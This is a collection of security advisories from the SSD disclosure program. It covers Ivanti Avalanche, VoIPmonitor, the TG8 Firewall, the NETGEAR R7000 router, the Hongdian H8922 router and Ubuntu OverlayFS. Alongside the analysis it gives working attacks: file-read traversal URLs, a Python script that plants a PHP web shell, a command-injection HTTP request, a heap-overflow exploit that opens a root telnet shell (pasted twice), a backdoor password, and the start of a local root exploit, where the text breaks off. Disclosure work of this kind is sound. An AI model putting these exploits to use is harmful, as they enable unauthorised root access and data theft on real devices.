SSD Advisory – Ivanti Avalanche Directory Traversal

TL;DR

Find out how a directory traversal vulnerability in Ivanti Avalanche allows remote unauthenticated user to access files that reside outside the ‘image’ folder.

Vulnerability Summary

Ivanti Avalanche powered by “Wavelink is a mobile device management system. Network security features allow you to manage wireless settings (including encryption and authentication), and apply those settings on a schedule throughout the network. Software distribution features allow you to schedule software distribution to specific devices from the Avalanche Console. Avalanche also provides tools for managing alerts and reports”.

A vulnerability in Ivanti Avalanche allows remote unauthenticated users to request files that reside outside the ‘image’ folder.

CVE

Pending

Credit

An independent security researcher, Ahmed Y. Elmogy, has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

Avalanche Premise 6.3.2 for Windows v6.3.2.3490

Vendor Response

The vendor has promptly – in less than 7 days – fixed the vulnerability and has released a patch to address the issue.

Vulnerability Analysis

The imageFilePath parameter received from the user is used to allow users to retrieve locally stored images on the server. This is normally used to access images such as ‘icons’ and ‘logos’, due to lack of security checking of the parameter, a remote user can request other files to be retrieved that are neither an image or reside in the images folder that is normally accessed.

String paramImageFilePath = request.getParameter("imageFilePath"); // vulnerable GET parameter
boolean cacheImage = true;
String parameterIcon = request.getParameter("icon");
if (paramImageFilePath != null) {
  File imageFile = new File(paramImageFilePath); // reading from user-input path
  byte[] icon = FileUtils.readFileToByteArray(imageFile);
  String queryString = request.getQueryString();
  if (icon != null && icon.length > 0) {
    handleIcon(response, icon, queryString, false); // outputting the contents
  } else {
    logger.warn(String.format("ImageServlet::missing icon for device(%s)", new Object[] {
      queryString
    }));
  }

...

private void handleIcon(HttpServletResponse response, byte[] icon, String imageSource, boolean cacheImage) throws IOException {
    response.setContentLength(icon.length);
    if (cacheImage) {
      HttpUtils.expiresOneWeek(response);
    } else {
      HttpUtils.expiresNow(response);
    }
    ImageInputStream inputStream = ImageIO.createImageInputStream(new ByteArrayInputStream(icon));
    try {
      Iterator < ImageReader > imageReaders = ImageIO.getImageReaders(inputStream);
      if (imageReaders.hasNext()) {
        ImageReader reader = imageReaders.next();
        String formatName = reader.getFormatName();
        response.setContentType(String.format("image/%s", new Object[] {
          formatName
        }));
      } else {
        logger.warn(String.format("ImageServlet::unknown image format for (%s)", new Object[] {
          imageSource
        }));
      }
    } finally {
      try {
        inputStream.close();
      } catch (IOException iOException) {}
    }
    ServletOutputStream outputStream = response.getOutputStream();
    outputStream.write(icon); // outputting the contents of the file
  }

As can be seen above, the file is accessed without regard to where it is stored, allowing a remote attacker to provide a full path to files that reside elsewhere and retrieve their content.

Exploit

Exploitation is straight forward, by accessing any of the following URL (examples), you can observe that the content return is the file stored on the remote server.

Example exploitation (downloading the DB):

https://EXAMPLE_IP:8443/AvalancheWeb/image?imageFilePath=C:/Program Files/Microsoft SQL Server/MSSQL11.SQLEXPRESS/MSSQL/DATA/Avalanche.mdf

Other examples:

https://EXAMPLE_IP:8443/AvalancheWeb/image?imageFilePath=C:/Windows/system32/config/system.sav
https://EXAMPLE_IP:8443/AvalancheWeb/image?imageFilePath=C:/sysprep/sysprep.inf

SSD Advisory – VoIPmonitor UnAuth RCE

TL;DR

Find out how a vulnerability in VoIPmonitor allows an unauthenticated attacker to execute arbitrary code.

Vulnerability Summary

VoIPmonitor is “open source network packet sniffer with commercial frontend for SIP RTP and RTCP VoIP protocols running on linux”.

Use of user supplied data, arriving via web interface allows remote unauthenticated users to trigger a remote PHP code execution vulnerability in VoIPmonitor.

CVE

CVE-2021-30461

Credit

An independent security researcher, Furkan Göksel, has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

VoIPmonitor version 24.60 and prior

Vendor Response

“A new GUI release 24.61 is fixing this security issue.”

Vulnerability Analysis

Due to improper filtering of malicious function, attacker can able to run command via PHP application of VoIPMonitor’s web UI.

When POST request has been made to index.php file with SPOOLDIR and recheck parameters, the vulnerability can be triggered.

This is due to the fact that SPOOLDIR value gets introduced into the config/configuration.php file that is later called by the UI interface.

The SPOOLDIR value is placed “as is” in the PHP source code allowing remote attackers to insert arbitrary commands along with the intended value for this parameter.

Exploit

import argparse
from sys import argv,exit
import time
import random
import string

try:
    import requests
except ImportError:
    print("pip3 install requests ")

print("""
###############################################
#              VOIP Monitor RCE               #
###############################################
""")

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Connection": "close"}


def get_target(args):
    hostname = args.host
    path = args.path
    if path:
        return f"http://{hostname}/{path}/index.php"
    else:
        return f"http://{hostname}/index.php"

def set_tmp(args):
    global headers
    target = get_target(args)
    n_data = {"SPOOLDIR": "/tmp", "recheck": "annen"}
    set_totmp = requests.post(target, n_data, headers=headers)
    print(f"[*] set /tmp {set_totmp}")


def checkVulnerability(args):
    global headers
    target = get_target(args)
    print(f"[+] Attacking {target}")
    testcmd = {"SPOOLDIR": "test\".system(id).\"", "recheck": "annen"}
    response_text = b"uid="
    testcmd_req = requests.post(target, testcmd, verify=False, headers=headers)
    if response_text in testcmd_req.content:
        print("[*] host is vulnerable")
    else:
        print("[-] host is not vulnerable")
        exit()


def uploadshell(args):
    global headers
    hostname = args.host
    path = args.path
    shell_path = ""
    shellfilename = str ( ''.join(random.choice(string.ascii_lowercase) for i in range(10)) )
    target = get_target(args)
    rce_payload = {"SPOOLDIR": f"/tmp\".file_put_contents('{shellfilename}.php','<?php echo system($_GET[\"a\"]);').\"", "recheck": "annen"}
    rce_req = requests.post(target, headers=headers, data=rce_payload)
    print(f"[*] uploading shell {rce_req.status_code}")
    if path:
        shell_path = f"http://{hostname}/{path}/{shellfilename}.php"
    else:
        shell_path = f"http://{hostname}/{shellfilename}.php"
    shell_check = requests.get(shell_path, headers=headers, params={'a':'id'})
    print(f"[*] RCE Check : {shell_check.text}")
    print(f"[*] Your Shell at {shell_path}")


def main():
    parser = argparse.ArgumentParser(description='VoIP Monitor all versions command execution')
    parser.add_argument('-t','--host',help='Host', type=str)
    parser.add_argument('-b', '--path',help='Path of the VoIP Monitor', type=str)
    args = parser.parse_args()
    set_tmp(args)
    checkVulnerability(args)
    set_tmp(args)
    uploadshell(args)
    set_tmp(args)



if __name__ == "__main__":
    main()

SSD Advisory – TG8 Firewall PreAuth RCE and Password Disclosure

TL;DR

Find out how vulnerabilities in TG8 Firewall allows remote unauthenticated users to execute arbitrary code on the remote device as well as disclose the passwords of existing accounts.

Vulnerability Summary

Two security vulnerabilities in TG8 Firewall have been found allowing a remote user to execute commands as root user without needing to authenticate with the device or have any privileged access, the second vulnerability allows to expose existing users’ passwords without being authenticated with the remote device.

CVE

Pending

Credit

An independent security researcher has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions
TG8 Firewall

Vendor Response

Numerous attempts to contact the vendor via Twitter, Facebook and Emails have not triggered any response from the vendor. We urge customers of this product to immediately block internet facing port 80/443 used for administering the device – it can be easily compromised.

Vulnerability Analysis

PreAuth RCE

The vulnerability exists in the way the authentication request is handled, due to which it leads to a remote command execution vulnerability with root user privileges. The data passed via user and password parameters is directly used as a parameter of a Linux command which allows command execution.

index.php source code

If you examine the index.php file you will notice that it calls a command called runphpcmd.php with a value of 'sudo /home/TG8/v3/syscmd/check_gui_login.sh ' + username + ' ' + pass; this is very strange and very unusual, but what you should immediately notice its basically calling a command prefixed with sudo and examines the response to that command.

Obviously if we change the cmd being called we can theoretically execute any command, but lets first verify what runphpcmd.php does – as it may be filtering or limiting what commands can be run:

...
  function checkLogin() {
    var username = $('input[name=u]').val();
    var pass = $('input[name=p]').val();

    var cmd = 'sudo /home/TG8/v3/syscmd/check_gui_login.sh ' + username + ' ' + pass;
    $.ajax({
      url: "runphpcmd.php",
      type: "post",
      dataType: "json",
      cache: "false",
      data: {
        syscmd: cmd
      },
      success: function (x) {
        if (x == 'OK') {
          ok(username);
        } else {
          failed();
        }
      },
      error: function () {
      ok(username);
        // alert("failure to excute the command");
      }
    })
  }
...

runphpcmd.php source code

As can be seen in the source code of runphpcmd.php we can note that there is no verification of what syscmd is running and the outcome is returned in JSON format back to the caller of this file:

<?php
  header('Content-Type: application/json');

  $response= array();
  $output= array();

  $cmd_1 = $_POST['syscmd'];
  $data = 'cmd= '.$cmd_1."\n";
  $fp = fopen('/opt/phpJS.log', 'a');
  fwrite($fp, $data);

  exec($cmd_1,$output,$ret);

  $data = ' output ='. json_encode($output)."\n*******************************************************\n";
  $fp = fopen('/opt/phpJS.log', 'a');
  fwrite($fp, $data);

  $response[] = array("result" => $output);

  // Encoding array in JSON format
  echo json_encode($output);
?>

Exploit

POST http://<server>/admin/runphpcmd.php HTTP/1.1
Host: Server
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 68
Connection: keep-alive


syscmd=sudo+%2Fhome%2FTG8%2Fv3%2Fsyscmd%2Fcheck_gui_login.sh+<command here>++local

The value passed via the parameter syscmd is not sanitized which leads to RCE

ex: ls Command executed in below request. Payload: ;ls;

syscmd=sudo+%2Fhome%2FTG8%2Fv3%2Fsyscmd%2Fcheck_gui_login.sh+%3Bls%3B++local

The response for the above request will contain result for the command execution.

Password Disclosure

A folder that is insecurely accessible to remote unauthenticated users /data/ stores the credentials of previously logged on users. Since this folder doesn’t require any special access to access – enumerating the files that are located under it can be used to reveal accounts present on the TG8 Firewall.

Example URLs:

http://<server>/data/w-341.tg
http://<server>/data/w-342.tg
http://<server>/data/r-341.tg
http://<server>/data/r-342.tg

SSD Advisory – NETGEAR Nighthawk R7000 httpd PreAuth RCE

TL;DR

Find out how a vulnerability in NETGEAR R7000 allows an attacker to run arbitrary code without requiring authentication with the device.

Vulnerability Summary

A vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of NETGEAR R7000 routers.

Authentication is not required to exploit this vulnerability.

The vulnerability exists within the handling of HTTP request, the issue results from the lack of proper validation of user supplied data, which can result a heap overflow. An attacker can leverage this vulnerability to execute code with the root privilege.

CVE

CVE-2021-31802

Credit

An independent security researcher, @colorlight2019, has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

Netgear Nighthawk R7000 running firmware version 1.0.11.116 and before

Vendor Response

The vendor has been contacted through Bugcrowd, however Bugcrowd classified it as irrelevant because it was not tested on the “latest” firmware version is 1.3.2.134, which is incorrect. We attempted to contact them again, but subsequent messages got ignored.

This is the most unprofessional behaviour we have noted from Bugcrowd / the vendor – it is clearly a mistaken classification.

Vulnerability Analysis

We start off with bypassing the patch made for the ZDI-20-709 vulnerability. The patch for ZDI-20-709 cannot solve the root cause of the vulnerability. The httpd program allows user to upload a file with the url /backup.cgi.

While the root cause of the vulnerability is that the program uses two variables to represent the length of the uploaded file. One variable is related to the value of the Content-length in the http post request header, the other one is the length of the file content in the http post request body.

The vulnerability exists in the sub_16674 . Below picture is the heap overflow point:

The decompiled code is like this:

The program allocates memory for storing the file content by calling malloc,the return value is stored by dword_1DE2F8 , the size is the value of Content-Length plus 600. The Content-Length value can be controlled by the attacker, thus if we provide a proper value, we can make the malloc to return any size of the heap chunk we want.

The memcpy function copies the http request payload from s1 to dword_1DE2F8 , the copied buffer length is v80-v91 which is the length of the file content in the http post request body.

So this is the problem, the size of the heap-based buffer dword_1DE2F8 can by controlled by the attacker with a small value, and the v80-v91 can also by controlled with another larger value. Thus, it can cause a heap overflow.

Exploit Considerations

The patch for ZDI-20-709 is that it adds a check for one byte before Content-Length , it checks if it is a ‘\n’ , so we simply add a ‘\n’ before the Content-Length in order to bypass the patch. Though the vulnerabilities are basically the same, but the exploit still needs a lot of efforts because the heap states are different between R6700 and R7000.

We may conduct a fastbin dup attack to the heap overflow vulnerability. But it is not easy to do this. Fastbin dup attack needs two continuous malloc function to get two return address from a same fastbin list, the first malloc returns the chunk whose fd pointer is overwritten by the heap overflow, the second malloc returns the address where we want to write data.

The biggest problem is that there should be no free procedure between these two malloc functions. But dword_1DE2F8 is checked every time before malloc:

If dword_1DE2F8 is not a null pointer, it will be freed and set 0. Thus we should find another point of calling malloc.

Luckily, there is another malloc whose size can by controlled by us, it is in the function of sub_A5B68:

The function handles another file upload http request, we may use the /genierestore.cgi to trigger this function.

But there is another problem, both /genierestore.cgi and /backup.cgi requests can cause the fopen function gets called. The fopen function will call malloc(0x60) and mallloc(0x1000). malloc(0x1000) will cause __malloc_consolidate function gets called which will destroy the fastbin, since the size is larger than the value of max_fast.

We need to find a way to change the max_fast value to a large value so that the __malloc_consolidate will not be triggered. According to the implementation of uClibc free function:

 if ((unsigned long)(size) <= (unsigned long)(av->max_fast)
#if TRIM_FASTBINS
 /* If TRIM_FASTBINS set, don't place chunks
 bordering top into fastbins */
 && (chunk_at_offset(p, size) != av->top)
#endif
 ) {
  set_fastchunks(av);
  fb = &(av->fastbins[fastbin_index(size)]); // <-------when size is set 8 bytes, the fastbin_index(size) is -1
  p->fd = *fb;
  *fb = p;
 }

When we free a chunk whose size is 0x8, fastbin_index(size) return -1, and av->fastbins[fastbin_index(size)] will cause an out-of-bounds access.

struct malloc_state {
 /* The maximum chunk size to be eligible for fastbin */
 size_t max_fast; /* low 2 bits used as flags */
 // 0
 /* Fastbins */
 // 4
 mfastbinptr fastbins[NFASTBINS];
 ...
}

According to the struct of malloc_state, fb = &(av->fastbins[-1]) exactly points to max_fast , thus *fb = p will make the max_fast to a large value. But in the normal situation, the chunk size cannot be 0x8 bytes, because it means that the user data is 0 byte.

So we can first make use of the heap overflow vulnerability to overwrite the PREV_INUSE flag of a chunk so that it incorrectly indicates that the previous chunk is free. Due to the incorrect PREV_INUSE flag, we can get malloc() to return a chunk that overlaps an actual existing chunk.

This lets us edit the size field in the existing chunk’s metadata, setting it to the invalid value of 8. When this chunk is freed and placed on the fastbin, malloc_stats->max_fast is overwritten by a large value. Then the fopen will not lead to a __malloc_consolidate, so we can conduct a fastbin dup attack.

Once we make the malloc return a chosen address, we could overwrite the GOT entry of the free to the address of system PLT code. Finally we execute utelnetd -l /bin/sh to start the telnet service, then we get the root shell of R7000.

Some techniques were used to make the exploit more reliable:

  1. To make the malloc chunks are adjacent so that the heap overflow will not corrupt other heap-based buffers, I
    send a very long payload to trigger closing the tcp connection in advance so that the /backup.cgi request will
    not calling fopen subsequently, and there will be no other malloc calling between two http requests.

2. The httpd program’s heap state may be different when user login or logout the web management, to make the heap state consistent,we first try to logon with wrong password for 3 times, the httpd program will redirect the user to a Router Password Reset page. This will make the heap state clear and known

Exploit

# coding: utf-8
from pwn import *
import copy
import sys

def post_request(path, headers, files):
    r = remote(rhost, rport)
    request = 'POST %s HTTP/1.1' % path
    request += '\r\n'
    request += '\r\n'.join(headers)
    request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
    post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Disposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
    post_data += files['filecontent']
    request += 'Content-Length: %i\r\n\r\n' % len(post_data)
    request += post_data
    r.send(request)
    sleep(0.5)
    r.close()

def gen_request(path, headers, files):
    request = 'POST %s HTTP/1.1' % path
    request += '\r\n'
    request += '\r\n'.join(headers)
    request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
    post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Dasposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
    post_data += files['filecontent']
    request += 'Content-Length: %i\r\n\r\n' % len(post_data)
    request += post_data
    return request

def make_filename(chunk_size):
    return 'a' * (0x1d7 - chunk_size)

def send_payload(file_name_len,files):

    total_payload = 'a'*(609 + 1024 * 58)


    path = '/cgi-bin/genie.cgi?backup.cgi\nContent-Length: 4156559'
    headers = ['Host: %s:%s' % (rhost, rport), 'Content-Disposition: form-data','a'*0x200 + ': anynomous']

    f = copy.deepcopy(files)
    f['filename'] = make_filename(file_name_len)
    valid_payload = gen_request(path, headers, f)
    vaild_len = len(valid_payload)
    total_len = 609 + 1024 * 58
    blind_payload_len = total_len - vaild_len
    blind_payload = 'a' * blind_payload_len
    total_payload = blind_payload + valid_payload

    t1 = 0
    t2 = 0
    for i in range(0,58):
        t1 = int(i * 1024)
        t2 = int((i+1)*1024 )
        chunk = total_payload[t1:t2]
    
    last_chunk = total_payload[t2:]
    # print(last_chunk)
        

    r = remote(rhost, rport)
    r.send(total_payload)
    sleep(0.5)
    r.close()

def execute():
    
    headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': anynomous']

    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(0x18,files)       

    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(0x20,files)        


    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    files['filecontent'] = 'a' * 0x18 + p32(0x3c0) + p32(0x28)
    send_payload(0x18,files)     


    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x3a0).ljust(0x10) + 'a'* 0x39c + p32(0x9)  
    post_request('/genierestore.cgi', headers, f)   
   
    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(0x18,files)  


    f = copy.deepcopy(files)   
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x20).ljust(0x10) + 'a'
    post_request('/genierestore.cgi', headers, f)   


    magic_size =  0x48

    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(magic_size).ljust(0x10) + 'a'
    post_request('/genierestore.cgi', headers, f)   

   
    free_got_addr = 0x00120920
    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    files['filecontent'] = 'a' * 0x24 + p32(magic_size+ 8 + 1) + p32(free_got_addr - magic_size)
    send_payload(0x20,files)   
   

    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(magic_size,files)   

    system_addr_plt = 0x0000E804
    command = 'utelnetd -l /bin/sh'
    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(magic_size).ljust(0x10) + command.ljust(magic_size-8, '\x00') + p32(system_addr_plt)
    post_request('/genierestore.cgi', headers, f) 



def send_request():
    r = remote(rhost, rport)

    login_request='''\
GET / HTTP/1.1\r
Host: %s\r
Cache-Control: max-age=0\r
Authorization: Basic MToxMjM0NTY3ODEyMzEyMw==\r
Upgrade-Insecure-Requests: 1\r
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r
Accept-Encoding: gzip, deflate\r
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8\r
Cookie: XSRF_TOKEN=1222440606\r
Connection: close\r
\r
'''% rhost

    r.send(login_request)
    a = r.recv(0x1000)
    # print a
    r.close()
    return a
if __name__ == '__main__':
    context.log_level = 'error'

    if (len(sys.argv) < 3):
        print( 'Usage: %s <rhost> <rport>' % sys.argv[0])
        exit()
    rhost = sys.argv[1]
    rport = sys.argv[2]

    while True:
        ret = send_request()
        firstline = ret.split('\n')[0]
        if firstline.find('200') != -1:
            break

    execute()# coding: utf-8
from pwn import *
import copy
import sys

def post_request(path, headers, files):
    r = remote(rhost, rport)
    request = 'POST %s HTTP/1.1' % path
    request += '\r\n'
    request += '\r\n'.join(headers)
    request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
    post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Disposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
    post_data += files['filecontent']
    request += 'Content-Length: %i\r\n\r\n' % len(post_data)
    request += post_data
    r.send(request)
    sleep(0.5)
    r.close()

def gen_request(path, headers, files):
    request = 'POST %s HTTP/1.1' % path
    request += '\r\n'
    request += '\r\n'.join(headers)
    request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
    post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Dasposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
    post_data += files['filecontent']
    request += 'Content-Length: %i\r\n\r\n' % len(post_data)
    request += post_data
    return request

def make_filename(chunk_size):
    return 'a' * (0x1d7 - chunk_size)

def send_payload(file_name_len,files):

    total_payload = 'a'*(609 + 1024 * 58)


    path = '/cgi-bin/genie.cgi?backup.cgi\nContent-Length: 4156559'
    headers = ['Host: %s:%s' % (rhost, rport), 'Content-Disposition: form-data','a'*0x200 + ': anynomous']

    f = copy.deepcopy(files)
    f['filename'] = make_filename(file_name_len)
    valid_payload = gen_request(path, headers, f)
    vaild_len = len(valid_payload)
    total_len = 609 + 1024 * 58
    blind_payload_len = total_len - vaild_len
    blind_payload = 'a' * blind_payload_len
    total_payload = blind_payload + valid_payload

    t1 = 0
    t2 = 0
    for i in range(0,58):
        t1 = int(i * 1024)
        t2 = int((i+1)*1024 )
        chunk = total_payload[t1:t2]
    
    last_chunk = total_payload[t2:]
    # print(last_chunk)
        

    r = remote(rhost, rport)
    r.send(total_payload)
    sleep(0.5)
    r.close()

def execute():
    
    headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': anynomous']

    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(0x18,files)       

    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(0x20,files)        


    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    files['filecontent'] = 'a' * 0x18 + p32(0x3c0) + p32(0x28)
    send_payload(0x18,files)     


    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x3a0).ljust(0x10) + 'a'* 0x39c + p32(0x9)  
    post_request('/genierestore.cgi', headers, f)   
   
    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(0x18,files)  


    f = copy.deepcopy(files)   
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x20).ljust(0x10) + 'a'
    post_request('/genierestore.cgi', headers, f)   


    magic_size =  0x48

    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(magic_size).ljust(0x10) + 'a'
    post_request('/genierestore.cgi', headers, f)   

   
    free_got_addr = 0x00120920
    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    files['filecontent'] = 'a' * 0x24 + p32(magic_size+ 8 + 1) + p32(free_got_addr - magic_size)
    send_payload(0x20,files)   
   

    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(magic_size,files)   

    system_addr_plt = 0x0000E804
    command = 'utelnetd -l /bin/sh'
    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(magic_size).ljust(0x10) + command.ljust(magic_size-8, '\x00') + p32(system_addr_plt)
    post_request('/genierestore.cgi', headers, f) 



def send_request():
    r = remote(rhost, rport)

    login_request='''\
GET / HTTP/1.1\r
Host: %s\r
Cache-Control: max-age=0\r
Authorization: Basic MToxMjM0NTY3ODEyMzEyMw==\r
Upgrade-Insecure-Requests: 1\r
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r
Accept-Encoding: gzip, deflate\r
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8\r
Cookie: XSRF_TOKEN=1222440606\r
Connection: close\r
\r
'''% rhost

    r.send(login_request)
    a = r.recv(0x1000)
    # print a
    r.close()
    return a
if __name__ == '__main__':
    context.log_level = 'error'

    if (len(sys.argv) < 3):
        print( 'Usage: %s <rhost> <rport>' % sys.argv[0])
        exit()
    rhost = sys.argv[1]
    rport = sys.argv[2]

    while True:
        ret = send_request()
        firstline = ret.split('\n')[0]
        if firstline.find('200') != -1:
            break

    execute()
    print('router is exploited!!!')

    print('router is exploited!!!')

SSD Advisory – Hongdian H8922 Multiple Vulnerabilities

TL;DR

Find out how multiple vulnerabilities in Hongdian H8922 allow an attacker to run arbitrary commands on the device with root privileges as well as access the device with root privileges via a backdoor account.

Vulnerability Summary

The H8922 “4G industrial router is based on 3G/4G wireless network and adopts a high-performance 32-bit embedded operating system with full industrial design. It supports wired and wireless network backup, and its high reliability and convenient networking make it suitable for large-scale distributed industrial applications. Such as smart lockers, charging piles, bank ATM machines, tower monitoring, electricity, water conservancy, environmental protection”.

Several vulnerabilities in the H8922 device allow remote attackers to cause the device to execute arbitrary commands with root privileges due to the fact that user provided data is not properly filtered as well as a backdoor account allows access via port 5188/tcp.

CVE

CVE-2021-28149, CVE-2021-28150, CVE-2021-28151, CVE-2021-28152

Credit

An independent security researcher, Konstantin Burov / @_sadshade, has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

Hongdian H8922 version 3.0.5

Vendor Response

The vendor has been informed more than 30 days ago about the vulnerabilities, subsequent attempts to email and report the vulnerabilities went unanswered.

Vulnerability Analysis

Hidden Functionality (Backdoor)

The device has an undocumented feature that allows access to shell as a superuser. To connect, the telnet service is used on port 5188 with the default credentials – root:superzxmn.

This method of connection, as well as credentials, are not described in the
documentation for the device and therefore are considered an undocumented possibility for remote control.

Attackers can use this feature to gain uncontrolled access to the device.

Use of Hard-coded Credentials

The root password cannot be changed in the normal way, which prevents unauthorized people from connecting to the device.

Improper Neutralization of Special Elements used in an OS
Command (‘OS Command Injection’)

The /tools.cgi handler, which is responsible for network diagnostics (ping), does not filter user data in the “destination” parameter.

A remote attacker with minimal privileges (guest) can execute an arbitrary command of the operating system as the superuser (root) by substituting the command end character.

For example, the string “;ps” entered in the ip-address field displays the list of processes running on the system.

Improper Limitation of a Pathname to a Restricted Directory
(‘Path Traversal’)

The /log_download.cgi log export handler does not validate user input and allows a remote attacker with minimal privileges to download any file from the device by substituting “../” for example “../../etc/passwd“.

The check can be carried out using an Internet browser by changing the file name accordingly.

You need to follow the link http://[ip]/log_download.cgi?type=../../etc/passwd, log in and the web server will allow download the contents of the “/etc/passwd” file.

Insecure direct object references to static files

The unprivileged user “guest” can access the file with the system configuration of the device (cli.conf) via the direct link http://[ip]/backup2.cgi.

The file can be used to reveal administrator password and other sensitive data.

Demo

SSD Advisory – OverlayFS PE

TL;DR

Find out how a vulnerability in OverlayFS allows local users under Ubuntu to gain root privileges.

Vulnerability Summary

An Ubuntu specific issue in the overlayfs file system in the Linux kernel where it did not properly validate the application of file system capabilities with respect to user namespaces. A local attacker could use this to gain elevated privileges, due to a patch carried in Ubuntu to allow unprivileged overlayfs mounts.

CVE

CVE-2021-3493

Credit

An independent security researcher has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

Ubuntu 20.10

Ubuntu 20.04 LTS

Ubuntu 18.04 LTS

Ubuntu 16.04 LTS

Ubuntu 14.04 ESM

Vendor Response

“We published security advisories for this issue today in

https://ubuntu.com/security/notices/USN-4915-1
https://ubuntu.com/security/notices/USN-4916-1
https://ubuntu.com/security/notices/USN-4917-1

as well as making the issue public in our CVE tracker:

https://ubuntu.com/security/CVE-2021-3493

The following is the content of the message was sent to the oss-security list: https://www.openwall.com/lists/oss-security/2021/04/16/1

Vulnerability Analysis

Linux supports file capabilities stored in extended file attributes that work similarly to setuid-bit, but can be more fine-grained. A simplified procedure for setting file capabilities in pseudo-code looks like this:

setxattr(...):
    if cap_convert_nscap(...) is not OK:
        then fail
    vfs_setxattr(...)

The important call is cap_convert_nscap, which checks permissions with respect to namespaces.

If we set the file capabilities from our own namespace and on our own mount, there is no problem and we have permission to do so. The problem is that when OverlayFS forwards this operation to the underlying file system, it only calls vfs_setxattr and skips checks in cap_convert_nscap.

This allows to set arbitrary capabilities on files in outer namespace/mount, where they will also be applied during execution.

In Linux 5.11 the call to cap_convert_nscap was moved into vfs_setxattr, so it is no more vulnerable.

Demo

Exploit

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>

//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);


#define DIR_BASE    "./ovlcap"
#define DIR_WORK    DIR_BASE "/work"
#define DIR_LOWER   DIR_BASE "/lower"
#define DIR_UPPER   DIR_BASE "/upper"
#define DIR_MERGE   DIR_BASE "/merge"
#define BIN_MERGE   DIR_MERGE "/magic"
#define BIN_UPPER   DIR_UPPER "/magic"


static void xmkdir(const char *path, mode_t mode)
{
    if (mkdir(path, mode) == -1 && errno != EEXIST)
        err(1, "mkdir %s", path);
}

static void xwritefile(const char *path, const char *data)
{
    int fd = open(path, O_WRONLY);
    if (fd == -1)
        err(1, "open %s", path);
